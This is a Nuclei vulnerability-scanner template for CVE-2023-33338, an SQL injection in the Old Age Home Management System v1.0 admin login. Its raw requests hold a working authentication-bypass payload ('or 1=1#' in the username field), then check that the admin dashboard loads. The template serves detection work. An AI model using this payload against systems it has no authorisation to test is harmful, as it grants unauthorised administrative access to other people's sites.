nuclei-templates/http/cves/2023/CVE-2023-33338.yaml

51 lines
1.8 KiB
YAML

id: CVE-2023-33338
info:
name: Old Age Home Management System v1.0 - SQL Injection
author: Harsh
severity: critical
description: |
Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
remediation: |
Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Old Age Home Management System v1.0.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-33338
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-33338
cwe-id: CWE-89
epss-score: 0.00761
epss-percentile: 0.79106
cpe: cpe:2.3:a:old_age_home_management_system_project:old_age_home_management_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: old_age_home_management_system_project
product: old_age_home_management_system
tags: cve,cve2023,oahms,sqli,auth-bypass
http:
- raw:
- |
POST /admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=vaday%27+or+1%3D1%23&password=password&submit=
- |
GET /admin/dashboard.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "Change Password")'
- 'contains(body_2, "Old Age Home Management System|| Dashboard")'
condition: and
# digest: 490a0046304402202131621379e37a3a375cb2429b6c2b38b3dc2b772e9e86625778dc7c9f7a5a9302201d46db05d270d6d2fb4a562a58322b1337a900970e7245a1c028acc079485b15:922c64590222798bb761d5b6d8e72950